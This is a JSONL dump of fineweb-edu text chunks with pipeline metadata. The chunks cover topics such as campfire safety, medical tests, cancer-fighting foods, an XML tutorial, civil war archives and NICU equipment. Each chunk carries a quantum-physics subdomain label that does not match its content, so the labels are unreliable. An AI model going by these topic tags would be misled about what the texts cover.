hurry. never leave a campfire unattended! - extinguish campfires each night and before leaving camp ( even if it ' s just for a few moments ). practice extra caution in the field - if you smoke, put out your cigarettes completely. burn them in your campfire or pack them out. don ' t delay call for help! - call 911 at the first sign of a fire getting out of control. \u00a9 2012 conservation commission of missouri. all rights reserved.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.3725824477153865, "token_count": 340, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.971520"} {"text": "how it feels the blood sample is taken from a vein in your arm. an elastic band is wrapped around your upper arm. it may feel tight. you may feel nothing at all from the needle, or you may feel a quick sting or there is very little chance of a problem from having blood sample taken from a vein. risks of a blood test - you may get a small bruise at the site. you can lower the chance of bruising by keeping pressure on the site for several - in rare cases, the vein may become swollen after the blood sample is taken. this problem is called phlebitis. a warm compress can be used several times a day to treat this. - ongoing bleeding can be a problem for people with bleeding disorders. aspirin, warfarin ( coumadin ), and other blood - thinning medicines can make bleeding more likely. if you have bleeding or clotting problems, or if you take blood - thinning medicine, tell your doctor before your blood sample is taken. a prolactin test measures the level of hormone prolactin, which is made by the pituitary gland, in your blood. prolactin levels are different throughout the day. the highest levels occur during sleep and shortly after you wake up. the normal values listed here - called a reference range - are just a guide. these ranges vary from lab to lab, and your lab may have a different range for what \u2019 s normal. your lab report should contain the range your lab uses. also, your doctor will evaluate your results based on your health and other factors. this means that a value that falls outside the normal values listed here may still be normal for you or your lab. | nonpregnant women | 4 - 23 nanograms per milliliter ( ng / ml ) or 4 - 23 micrograms per liter ( mcg / l ) 3 - 15 ng / ml or 3 - 15 mcg / l 34 - 386 ng / ml or 34 - 386 mcg / l - high levels of prolactin ( usually higher than 200 ng / ml ) may mean a pituitary gland tumor ( prolactinoma ) is present. the higher the prolactin level, the more likely a pituitary gland tumor is present. if a prolactin level is over 200 ng / ml, a magnetic resonance imaging ( mri ) test may be done to confirm a pituitary tumor is present. a normal or low prola", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.47411171595530177, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.974139"} {"text": "seven ( easy to find ) foods that may help prevent cancer reach for these super foods to supercharge your odds of staying ahead of cancer and maximizing your health. strawberries : rich in antioxidants berries scoop up disease - fighting honors like kids in sports collect trophies : they just keep multiplying. research points to possible protection against heart disease and memory decline as well as cancer. in a recent study, berry extracts slowed the growth of cancer cells ; specifically, strawberry and black raspberry extracts had the greatest impact on colon cancer cells. strawberries are rich in antioxidants such as vitamin c and ellagic acid. in laboratory tests, ellagic acid seems to have anticancer properties that rev up enzymes, which destroy cancer - causing substances and slow the growth of tumors. they also contain flavonoids, which suppress an enzyme that damages dna and has been linked to lung cancer. other types of berries, all rich in flavonoids, deserve a spot on your plate, too : raspberries, blackberries, blueberries, and cranberries. blueberries are packed with anthocyanins, which reduce inflammation and are one of the most powerful antioxidants, fahey says. he considers berries and cruciferous vegetables the most powerful protective eating fruit, including berries, probably decreases the risk of lung cancer and could prevent cancers of the mouth, esophagus, and stomach, according to a review of hundreds of clinical studies conducted for the world cancer research fund and the american institute for cancer research. carrots : best eaten cooked one of the easiest vegetables to love, carrots are packed with disease - fighting nutrients. they contain beta - carotene, an antioxidant scientists believe may protect cell membranes from toxin damage and slow the growth of cancer cells. and carrots deliver other vitamins and phytochemicals that might guard against cancers of the mouth, esophagus, and stomach. some studies suggest carrots protect against cervical cancer, perhaps because they supply antioxidants that could battle hpv ( human papilloma virus ), the major cause of cervical cancer. plus, carrots contain falcarinol, a natural scientists in england found that rats given falcarinol were less likely to develop cancerous tumors. cooked carrots supply more antioxidants than raw, according to a report in the journal of agriculture and food chemistry. if you ' re cooking carrots, leave them whole while steaming", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4336408481720119, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.978203"} {"text": "##arinol were less likely to develop cancerous tumors. cooked carrots supply more antioxidants than raw, according to a report in the journal of agriculture and food chemistry. if you ' re cooking carrots, leave them whole while steaming or boiling, and cut them after they ' re done. that reduces the loss of nutrients, including falcarinol, and gives them a sweeter taste as well. spinach : a super carotenoid source maybe you ' ve heard that lutein, an antioxidant, is good for your eyes. research is by no means confirmed, but it might also play a role in guarding spinach is rich in lutein and zeaxanthin, carotenoids that remove unstable molecules called free radicals from your body before they damage it. they ' re found in spinach and other dark green leafy vegetables, and some studies show they could protect against cancer of the mouth, esophagus, and stomach. an nih / aarp study of more than 490, 000 people found that those who ate more spinach were less likely to develop esophageal cancer. some studies suggest the carotenoids in spinach and other foods reduce the risk of ovarian, endometrial, lung, and colorectal cancer, too. throw in folate and fiber, which researchers think might trim the risk of certain cancers, and you ' ve got nutritional powerhouse in every dark green leaf. folate helps your body produce new cells and repair dna, and is especially important for women of childbearing age because it can prevent neural tube defects in a developing fetus. you ' ll get the most lutein from raw or lightly cooked spinach. enjoy it in a salad, steamed, or sauteed with garlic and olive oil, or stirred into soups. for a change, substitute kale, collard greens, swiss chard, or romaine lettuce. but spinach is the star. \" out of the leafy greens, spinach is one of the most nutrient - dense, \" doyle says.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4378790744960168, "token_count": 434, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.980280"} {"text": "nervous system disorders that lead to bladder spasms the feeling you get when you need to empty your bladder is normally an involuntary response. the brain signals the bladder muscle when it is time to tighten ( contract ) and release urine. however, certain nervous system disorders cause damage to the nerves that send signals between the brain and the bladder. when this happens, the bladder does not work properly. \" neurogenic bladder \" is the general term for bladder problems due to nerve damage. nervous system disorders and injury that can cause bladder spasms include : - brain tumor - cerebral palsy - herpes zoster infection that affects the nerves in the sacrum - multiple sclerosis - parkinson ' s disease - multiple system atrophy ( shy - drager syndrome ) - spinal cord injury - stroke that has caused brain damage - diabetic neuropathy ( when the nerves are damaged by longstanding diabetes ) surgery that leads to bladder spasms surgery to the lower abdominal area may weaken the bladder or pelvic floor muscles, or cause damage to the nerves that control the bladder. bladder spasms may occur following certain surgeries, including : - bladder surgery ( a common cause of bladder spasms in both children and adults ) - cesarean section - hysterectomy ( removal of the uterus, or womb, and sometimes the surrounding female organs, including the ovaries and fallopian tubes. ) - prostatectomy ( prostate removal ) - other lower abdominal surgery other causes of bladder spasms some medications may cause bladder spasms as a side effect. medications that commonly cause bladder spasms include : - bethanechol ( urecholine ) - a chemotherapy drug called valrubicin - medicines called diuretics, ( such as lasix ) which help the body remove excess water what you eat or drink can sometimes bother a fragile bladder and cause it to go into a spasm. this is especially true in patients who have a condition called interstitial cystitis. spicy, acidic, or citrusy foods and the chemicals in certain preservatives and food additives may irritate the lining of the bladder. such products include : - artificial sweeteners - caffeinated beverages such as soda, coffee, and tea - citrus fruits and drinks, such as oranges and orange juice - pickled foods treatment of bladder spasms how your doctor treats your bladder spasms depends on what exactly is causing your painful symptoms. but in general, therapy may involve one or more of the following treatments.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.45635529298279365, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.983112"} {"text": "webref update : featured article : x ( ml ) marks the spot x ( ml ) marks the spot never before has an internet development witnessed such rave reviews before thorough implementation and testing as the extensible markup language ( xml ). xml is definitely the latest buzzword in the developer community. however, you must crawl before you can walk. the idea of creating an xml based e - commerce solution is exciting, but what about a simple xml page which has standard web media elements such as graphics or flash files? xml promises to give us intelligent document structures, object oriented document manipulations, synchronized media and a whole lot more. but what is xml exactly, and why has it created such a stir? this article is for those developers who are looking for a hands - on explanation of xml basics. what is xml? the extensible markup language and html are both subsets of standard generalized markup language ( sgml ). sgml is a very powerful technology that can be viewed as the parent of many markup languages, which include html and xml. with xml, it is possible to create new variations such as the wireless application protocol markup language ( wapml or wml ), which makes communicating and transactions between a mobile phone and a web server possible. of all the aspects of xml, the following is probably the most important : xml only recently became an official w3c recommendation. this means that the consortium still hasn ' t made a decision about standard xml. many xml elements used in explorer 5. 0 are based on the w3c draft and they will probably be included in the official xml specs. netscape has probably made the wise decision to wait with releasing their xml compliant version 5 browser until the official specs have been determined. enough background information. let ' s get into the real deal. the big difference between xml and html is the following : an html document has three different elements : the first element being the text ( e. g. \" welcome to my homepage \" ). the second element is the document structure such as tables and linebreaks. the third element is the visual markup such as bold text, italic text, graphics and other visual elements. an xml document, however, can actually consist of two or three different pages. because seeing is believing, i ' ve included a short example below. 1. the first page is the actual xml information you wish to display. in first generation xml sites, this information will probably be text contained in the page called \" whatever", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5497261558271989, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.987769"} {"text": "pages. because seeing is believing, i ' ve included a short example below. 1. the first page is the actual xml information you wish to display. in first generation xml sites, this information will probably be text contained in the page called \" whatever. xml \". this page doesn ' t have any structure such as a table or visual markup ( bold, italic or color ). whatever. xml looks like : < people > < friend > < name > lee < / name > < address > 25 malvern street < / address > < telephone > 123 456 789 < / telephone > < / friend > < friend > < name > susanna < / name > < address > 11 durban road < / address > < telephone > 987 654 231 < / telephone > < / friend > < / people > 2. the second page has the extensible stylesheet language ( whatever. xsl ). this page has html and \" tags \" which takes the data out of whatever. xml and puts into \" whatever. xsl \". the xsl document has the mark - up such as < body >, < table > and < font >. whatever. xsl looks like : < xsl : stylesheet xmlns : xsl = \" http : / / www. w3. org / tr / wd - xsl \" > < xsl : template match = \" / \" > < html > < head > < title > xml developer < / title > < / head > < body > < table border = \" 1 \" cellpadding = \" 3 \" cellspacing = \" 3 \" > < xsl : for - each select = \" people / friend \" > < tr > < td > < b > name : < / b > < br / > < / td > < td > < xsl : value - of select = \" name \" / > < / td > < / tr > < tr > < td > address : < br / > < / td > < td > < i > < xsl : value - of select = \" address \" / > < / i > < / td > < / tr > < tr > < td > telephone : < br / > < / td > < td", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4736457420386694, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.988600"} {"text": "< td > < i > < xsl : value - of select = \" address \" / > < / i > < / td > < / tr > < tr > < td > telephone : < br / > < / td > < td > < i > < xsl : value - of select = \" telephone \" / > < / i > < br / > < / td > < / tr > < / xsl : for - each > < / table > < / body > < / html > < / xsl : template > < / xsl : stylesheet > 3. the third page is the document type definition. the good news is that a dtd is not always necessary, especially in a simple xml document. the bad news is that a dtd is pretty darn difficult. it contains elements such as attributes and data types. for more information on dtds, take a look at : the xml version of linebreak is < br / > instead of the html < br >. herein lies the secret in getting around the most common and frustrating markup language bugs [ or features, depending on your point of view - eds. ], which go by the name of validity or \" well - formed code. \" in the good old internet days, developers were very meticulous when it came to their coding. if you opened a < font > tag, you ' d have to close it with < / font >. when browsers got smarter, coders became lazier. as html evolved, people also decided that it wasn ' t necessary to include certain quotes in their code. so what was once < font color = \" white \" > became < font color = white >. and then xml hit the scene. next : xml needs clean code revised : may 16, 2000", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.477022161459676, "token_count": 368, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.989221"} {"text": "panic disorder is a type of anxiety disorder characterized by unexpected and repeated episodes of intense fear. the fear is accompanied by physical symptoms that may include chest pain, heart palpitations, sweating, shortness of breath, dizziness, or abdominal distress. these sensations often mimic symptoms of a or other life - threatening medical conditions. many people with panic disorder also experience feelings of between episodes of panic. it is not unusual for a person with panic disorder to develop phobias about places or situations where panic attacks have occurred, such as in supermarkets or other everyday situations. as the frequency of panic attacks increases, the person often begins to avoid situations where they fear another attack may occur or where help would not be immediately available. this avoidance may eventually develop into agoraphobia, an inability to go beyond known and safe surroundings because of intense fear and anxiety. heredity and other biologic factors, stressful life events, and thinking in a way that exaggerates normal bodily reactions are all believed to play a role in the onset of panic disorder. the exact causes of panic disorder are unknown and are the subject of intense scientific investigation. about 6 million american adults have panic disorder. women are twice as likely as men are to develop panic disorder. panic disorder typically strikes in the late teen years or young adulthood. roughly half of all people who have panic disorder develop the condition before age 24. panic disorder can coexist with other disorders, most often depression and substance abuse. appropriate diagnosis and treatment of other disorders, such as substance abuse or depression, are important to successfully treat panic disorder. last reviewed november 2012 by rimas lukas, md please be aware that this information is provided to supplement the care provided by your physician. it is neither intended nor implied to be a substitute for professional medical advice. call your healthcare provider immediately if you think you may have a medical emergency. always seek the advice of your physician or other qualified health provider prior to starting any new treatment or with any questions you may have regarding a medical condition. copyright \u00a9 ebsco publishing. all rights reserved.", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.5101951376973862, "token_count": 416, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.991592"} {"text": "select and ensure the preservation and accessibility of government and other information consituting georgia ' s recorded history. civil war sources compiled service records 1 ) compiled service records of confederate soldiers in organizations from the state of georgia. this is the basic source for information about georgians. most battalions, regiments, legions, and independent companies are included in this publication. a separate index, arranged alphabetically by the soldiers ' names, is available. included on the index are the rank, company, and unit designation for each soldier. the county of organization of each company is not shown. 2 ) compiled service records of confederate soldiers who served in organizations raised directly by the confederate government. included in this series are units bearing the word \" confederate \" rather than a state name in their designation. many of these units were formed by combining two or more units that had become too small to operate independently. also included in this series are the units of engineers, signal corps, and indian troops. 3 ) compiled service records of confederate general and staff officers and nonregimental enlisted men. this series includes service records of general officers ; officers and enlisted men of staff departments ; men on corps, division, or brigade staffs ; men assigned as aides - de - camp ; drillmasters ; military judges ; sappers ; chaplains not assigned to regiments or battalions ; agents ; and others. the staff departments included are medical, ordnance, adjutant general, commissary general, and quartermaster general. 4 ) combined index. sections 2 and 3 above have a combined index arranged alphabetically by the soldiers ' names ; it includes rank, company, and unit designation. 5 ) compiled service records of union soldiers in organizations from the state of georgia. georgians who chose to serve with the union often left the state to enlist with the federal forces. there was, however, one federal unit formed within the state. this unit was the first battalion, georgia volunteer infantry, u. s. army. this roll of microfilm contains the compiled service records of the men in that unit. 6 ) confederate marine and naval personnel. these are not compiled service records. the information contained in them is broken down into personnel records and hospital records that are available at the national archives, and it is arranged alphabetically by surname. there is no index. 7 ) reference file relating to confederate medical officers. this is an alphabetical name index card file containing information available at the national archives concerning medical officers who served in confederate forces. about the source : free booklet provided by the archives. source citation : charlotte", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.411149187743031, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.994421"} {"text": "your child is a sprout that keeps growing, so why not start by planting a seed in their brain to make wiser financial choices for their future? with today ' s economy in a tight crunch, it ' s more important than ever to start introducing your kids to the world of shiny coins and green bills. to ensure kids learn valuable lifelong financial skills, money lessons should really start around the ages of 5 or 6. money talk with your kids is a serious issue but can also be a fun learning process. through games, store trips and raising money, they will take away lessons about saving, good future planning, using common sense and giving back in helping them reach their goals. they will also teach their future children the same methods their parents did. give back to community there ' s no better way to teach your kids about giving back to the community than through charitable donations. this can be done when attending your local church service or a non - profit organization your family cares about. you can also help your kids raise money, such as having them put together a lemonade stand or by getting the community together for a charity walk. once the money has been raised, sit down with your kids and discuss a problem they may be concerned about in today ' s world. is it the lack of education other children are receiving in other countries? maybe it ' s concerning the well - being of the elderly or an endangered species? no matter what the reason, your kids will feel better about themselves knowing that they made a difference in the world with encouragement from their parents. open an account", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.38042146291546663, "token_count": 317, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.997903"} {"text": "| summer 12 : feedback from parents in relation to our recent y3 / 4 topic ' survival : food and farming '. he loves coming to school and that is down to the hard work of the teachers and making it fun \" \" she has had a really good time doing this topic \" \" i felt the topic was very interesting, i learnt quite a few things myself! \" | summer 12 : feedback from parents in relation to our recent ks1 topic \" the food tasting was my child \u2019 s favourite activity especially as he was allowed to prepare the fruit. \" \" the school trip kept the children interested in the topic. \" \" whilst sat down at dinner our child enjoyed telling us about what he had been learning. \" 10 things that the ipc offers your child - the international primary curriculum is a curriculum that is being used in over 1000 schools in 65 countries around the world. it was launched in 2000 having taken three years to create by a group of leading experts in children \u2019 s learning from around the world. - the goal of the ipc is for children to focus on a combination of academic, personal and international learning. we want children to enjoy their learning ; develop enquiring minds, develop the personal qualities they need to be good citizens of the world, and develop a sense of their own nationality and culture, at the same time developing a profound respect for the nationalities and cultures of others. most of all, we want children to develop all the skills they will need in order to confidently face the world of tomorrow. - children learn through a series of ipc units of work. each unit of work has a theme that today \u2019 s children find interesting and relevant. examples of these themes includes treasure, rainforest, mission to mars and beyond and fit for life. each unit of work lasts on average between four and eight weeks and children learn many of their subjects through this one common theme so that their learning has meaning to them. - linking subjects means that children can make lots of connections with their learning. we now know that the more connections that the brain can make, the better a child can learn. - the development of skills is a very big part of the ipc and learning activities have been designed so that children can develop these skills. this development of skills even applies to the personal learning goals which emphasise adaptability, resilience, thoughtfulness, cooperation and respect and which, as a result of progressive skill development, help children to become able and inspired learners. - the ipc is not just topic learning. although the learning", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5043499537782881, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.001432"} {"text": "goals which emphasise adaptability, resilience, thoughtfulness, cooperation and respect and which, as a result of progressive skill development, help children to become able and inspired learners. - the ipc is not just topic learning. although the learning is based around a theme, the learning that the children do within that theme has very distinct outcomes to ensure that children are learning exactly what they need to learn. - the ipc focuses children \u2019 s learning on a combination of knowledge, skills and understanding. no one can properly predict the nature of work and life opportunities that will be available for today \u2019 s primary age children by the time they are adults. many of the jobs they will have don \u2019 t yet exist ; especially in the fields of ict, technology and science. so the ipc focuses on a skills - based approach, developing adaptable and resilient globally - minded learners, prepared for the fast - changing world that they \u2019 ll be living and working in. - the ipc has been designed for children of all abilities and all learning styles, and encourages learning in groups as well as individual learning. - in order that parents know what their child is learning, they are sent a letter at the beginning of each ipc unit which outlines what learning will be covered and how parents can help continue that learning at home if they choose. - the continued development of the ipc today ensures that children are learning a current and highly relevant curriculum based on the very latest research into the brain and children \u2019 s learning.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4943766593120657, "token_count": 305, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.002050"} {"text": "westtown ' s student worked mini - farm is a two acre small farm where students learn about sustainable agriculture, doing hands - on work building soil and planting organically for harvest for our kitchen and community. the mini - farm offers students the chance to get down and dirty with the earth, learn about themselves and their role in the food web, and grow vegetables to be eaten by all members of the westtown community. the mini - farm hosts a rammed earth and tire recessed open air classroom, a pizza oven made of cob, and a 96 foot high tunnel \u2014 all tools in teaching earth literacy to high school students \u2014 the fundamental connection of humans with the earth and with their food, and the attendant environmental, scientific and social issues related to food production and access. students connect with the farm in four ways : \u2022 students can choose to be part of daily activities on the farm in fall and spring. this afternoon co - curricular is where students learn and work most intensively \u2014 following their food from seed to seedling, to planting, cultivation, and harvest. opportunities for work, reflection, group and individual activities, as well as visits to other farms in the area are part of this offering. \u2022 students are also assigned during the growing season to a morning work crew as part of the work program that all students participate in. four times a week, for 25 minutes, students come in the early morning and complete finite tasks related to keeping the farm going, as part of the important learning that happens in westtown ' s work program. \u2022 during the summer, a csa is run out of the farm space, giving a home to our summer produce. we also do some restaurant sales and donations to the chester county food bank. \u2022 vegetables grown on the mini - farm are eaten by students in the school ' s dining room in the spring and fall, completing the circuit of student work leading to student harvest and eating \u2014 a full circle of food that few today have the opportunity to experience, and is a key piece to graduating an earth literate citizen.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.44554706829814256, "token_count": 413, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.004204"} {"text": "there are times when it ' s necessary to fight against things that have become so wrong that they should no longer be. things that were once small that have become big, but are no less wrong, must be made small again ; a revolution, or a complete circle, is needed. whether you want freedom from another country, or you want to overthrow an oppressive government, every fight is the same. a revolution ( from the latin revolutio, \" a turnaround \" ) is a significant change that usually occurs in a short period of time. revolutions have happened throughout human history and vary widely in terms of methods, duration, motivating ideology, and the number of participating revolutionaries. their results include major changes in culture, economy, and socio - political institutions. - 1know your goal. you are about to dedicate your life to this goal. decide well and make your decision from the heart. a good question to ask yourself is, \u201c what about the political system in which i live do i think is wrong? and what kind of system do i want to create for the people of my country? \u201d remember, the goal you chose is the heart of your revolution. - 2build support and consensus : nothing is going to happen if the only rebels are you and your buddies. this is an important step and the setup for either a successful revolution or a small civilian rebellion flop. for the first part of this step you must build support by handing out flyers and pamphlets, by word of mouth and advertisements and through today \u2019 s technology. do whatever it takes to get the word out of your revolution and build support. once cultivated, your support doesn \u2019 t have to meet together or agree on actions or even know each other, but they must be united under a common goal and shared fundamental principles. - 3educate yourself and others about every aspect of the idea of the revolution. know what and why this fight must happen and how it can be won. identify the goals and the most efficient means of achieving them without compromise. appreciate and respect a diversity of tactics. the revolution must be directed towards making things better. this is what is called a \" positive vector \". - 4understand that one of the most important aspects of a revolution is that the people are angry. however, the cause for anger ought to be of true convictions, and in their anger there must also be discipline to their cause. - 5put together intentions which must be very popular among the population. it must aim towards the improvement of certain aspects", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5366550174952671, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.011573"} {"text": ". however, the cause for anger ought to be of true convictions, and in their anger there must also be discipline to their cause. - 5put together intentions which must be very popular among the population. it must aim towards the improvement of certain aspects of society, economics, culture, or any other aspects of a social group. appreciate and respect a diversity of tactics. - as egypt has shown us, the devil can be in the details, here - - and your revolution can easily be co - opted. recognize this as a sign that your idea was popular enough to attract attention, and be prepared to overcome attempted splintering. - 6find like - minded people who are ready for action. set up a field of communication. you must work in a non - hierarchical group in which all voices are equally heard. - if you have even a small group dedicated to the same cause, it may be useful for someone to serve as a front woman / man ; these should be humble people and they must not be identified as \" the leader \" or \" the leaders, \" but as individuals chosen because they reflect consensus. - 7take action. this is the most important step because the revolution dies without it. you must take action whether it is a nonviolent protest or a sit - in or a boycott. your leader must motivate the support and dutifully work day and night to improve your revolution. the power in place will defend itself, for that is the nature of power. illegitimate \" governments \" are not happy about a rebellion from their people and will do anything to crush resistance. remember that armed struggle is not an option. no matter how well armed or trained you are, you cannot withstand an organized country ' s military - especially if a superpower and its allies are backing the regime in place. last of all, do not let up. often you may be discouraged by loss or lack of morale but remember, many other countries have revolted and after several losses still have still overcome overwhelming adversity. remember, your goal is the heart of your operation, your consensus is the mind of the revolution, and the actions you and your support take are the hands of your revolution. - 8work for collective liberation, because everyone ' s liberation is tied to each other ' s. if we are going to be free, we all need to be free. if we are to have a voice, all must have a voice. - 9demonstrate the popularity of the movement to the people of power, legislature, and military", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.49008645928521083, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.014149"} {"text": "if we are going to be free, we all need to be free. if we are to have a voice, all must have a voice. - 9demonstrate the popularity of the movement to the people of power, legislature, and military. the greater the popularity among the society, the more the likelihood of violent repression is reduced. - 10realize that a drastic political or social revolution is almost always about freedom. in general, revolutions are about major changes in some aspect of society. a peaceful revolution requires solidarity and agreement. - there is strength in numbers. the greater the mass and unity of the movement, the better chance of getting demands met. - always use the truth, and never succumb to the temptations of power or money. believe in your cause and in your power base. revolution is belief. - take input from others. revolution can ' t happen because of just one person ; don ' t be a vigilante. - you will benefit no one if you are just attempting to consolidate power or gain recognition only for yourself. - to be successful, you need to be totally committed ; compromise is failure. - keep your eye on the ' big picture. ' don ' t drown yourself in the details. - never let the purpose of the revolution be led by the will of a single person or group ; adherents must be ruled only by their legitimate cause. - have some idea about how you want society to look like after the revolution. if structures to take over are not in place innocent people might suffer. - as in many revolutions in the past, you could be killed in war, attacked, tortured, become a prisoner, etc. by people in power who are protecting their interests. but that does not mean the movement and cause cannot overcome if enough resolve is there. they are only methods those in power partake in to intimidate and try to put the fire of revolution out before it consumes them. - a revolution is not about you, it ' s about everyone collectively. do not try to take fame. edit related wikihows categories : social activism recent edits by : bojacdnagle, rickyandjunior, tyshawn", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5062384859217629, "token_count": 443, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.015125"} {"text": "pediatric diseases and conditionsbreastfeeding overview caring for babies in the nicu neonatal intensive care units ( nicus ) are equipped with complex machines and monitoring devices designed for the unique needs of tiny babies. there are mechanical ventilators ( breathing machines ), oxygen, medications, and supplies for medical care. furthermore, there is technology to monitor nearly every system of a baby ' s body including body temperature, heart rate, breathing, oxygen and carbon dioxide levels, and blood pressure. the following list includes some of the monitoring equipment often used in the nicu : heart or cardiorespiratory monitor this monitor displays a baby ' s heart and breathing rates and patterns on a screen. wires from the monitor are attached to adhesive patches on the skin of the baby ' s chest, abdomen, and leg. blood pressure monitor blood pressure is measured using a small cuff placed around the baby ' s upper arm or leg. periodically, a blood pressure monitor pumps up the cuff and measures the level of blood pressure. some babies need continuous blood pressure monitoring. this can be done using a catheter ( small tube ) in one of the baby ' s arteries. a temperature probe is placed on the baby ' s skin with an adhesive patch. a wire connects the temperature probe to the overhead warmer ( or isolette ) to help regulate the heat needed to keep the baby warm. this machine measures the amount of oxygen in the baby ' s blood through the skin. a tiny light is taped to the baby ' s finger or toe, or in very tiny babies, a foot or hand. a wire connects the light to the monitor where it displays the amount of oxygen in the baby ' s red blood cells. transcutaneous oxygen / carbon dioxide monitor this machine measures the amount of oxygen and carbon dioxide in the baby ' s skin. a small circular pad is taped on the baby ' s skin. the pad warms a small area of skin underneath and measures oxygen, carbon dioxide, or both. a wire connects the pad to the monitor and displays the levels. because the transcutaneous monitor heats the skin, it must be moved to different places on the baby ' s skin periodically. the heating may leave a temporary reddened spot on the baby ' s skin, but this will fade. transcutaneous oxygen levels are usually lower than levels of the pulse oximeter. ultrasound uses high - frequency sound waves and a computer to create images of blood vessels, tissues, and organs. ultrasounds are used to view internal organs as they function,", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.5153604911702163, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.020710"} {"text": "transcutaneous oxygen levels are usually lower than levels of the pulse oximeter. ultrasound uses high - frequency sound waves and a computer to create images of blood vessels, tissues, and organs. ultrasounds are used to view internal organs as they function, and to assess blood blow through various vessels. in the nicu, ultrasound may be used to examine the heart, abdomen, and internal structures of the baby ' s brain. ultrasound is painless and provides much information about a baby ' s health. portable x - ray machines may be brought to the baby ' s bedside in the nicu. x - rays use invisible electromagnetic energy beams to produce images of internal tissues, bones, and organs on film. x - rays are taken for many reasons including checking the placement of catheters and other tubes, looking for signs of lung problems such as hyaline membrane disease, and checking for signs of bowel problems. computed tomography ( also called ct or cat scan ) a ct scan is a diagnostic imaging procedure that uses a combination of x - rays and computer technology to produce horizontal, or axial, images ( often called slices ) of the body. a ct scan shows detailed images of any part of the body, including the bones, muscles, fat, and organs. ct scans are more detailed than general x - rays. ct scans also minimize exposure to radiation. ct scans are sometimes done to assess bleeding inside a baby ' s head. a ct scan is done in a special room and the baby will need a sedative medication so that he or she will be motionless for the exam. magnetic resonance imaging ( mri ) mri is a diagnostic procedure that uses a combination of a large magnet, radio frequencies, and a computer to produce detailed images of organs and structures within the body. like a ct scan, mri is performed in a special area of the hospital. it is often done to examine a baby ' s brain stem, spinal cord, and soft tissues. the baby will need a sedative medication so that he or she will be motionless for the exam. endotracheal tube ( et ) this tube is placed through the baby ' s mouth or nose into the trachea ( windpipe ). the et tube is held in place with special tape and connects to a mechanical ventilator ( breathing machine ) with flexible tubing. an x - ray is used to check the tube ' s placement. when a baby has an et tube, he or she is unable to make sounds or cry. respirator or mechanical vent", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.5546147821016144, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.021689"} {"text": "forecast an el nino or la nina! | you can see if an el nino or a la nina is coming! | | who hasn ' t heard of el nino and la nina? almost no one! but who can tell if one of these events that change our weather and climate is coming. scientists are working to forecast el nino and la nina events but as yet our best way to tell what is coming is to look at satellite ocean data and watch for these features as they travel across the ocean. and you can do that! | first let ' s think about what an el nino or la nina is and how it affects us. the simple explantion is that they are hot and cold ocean events that start in the tropical 